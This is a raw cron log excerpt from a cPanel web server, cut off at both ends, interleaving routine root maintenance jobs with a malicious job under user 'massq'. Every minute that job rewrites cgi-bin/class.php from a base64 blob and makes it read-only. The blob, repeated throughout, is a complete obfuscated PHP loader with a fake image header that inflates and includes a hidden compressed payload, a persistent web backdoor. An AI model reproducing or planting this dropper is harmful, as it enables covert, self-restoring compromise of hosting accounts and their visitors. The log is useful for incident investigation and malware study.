BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:33:01 server CROND[29718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:34:01 server CROND[29773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:35:01 server CROND[29830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:35:01 server CROND[29832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:35:01 server CROND[29834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:35:01 server CROND[29835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 11:35:01 server CROND[29833]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 11:36:01 server CROND[29947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:37:01 server CROND[30099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:38:01 server CROND[30154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:39:01 server CROND[30208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:39:01 server CROND[30209]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 11:40:01 server CROND[30266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:40:01 server CROND[30265]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:40:01 server CROND[30267]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:40:01 server CROND[30268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:41:01 server CROND[30383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:42:01 server CROND[30439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:42:01 server CROND[30440]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 11:43:01 server CROND[30592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:44:01 server CROND[30658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:45:01 server CROND[30717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:45:01 server CROND[30718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:45:01 server CROND[30719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:46:01 server CROND[30821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 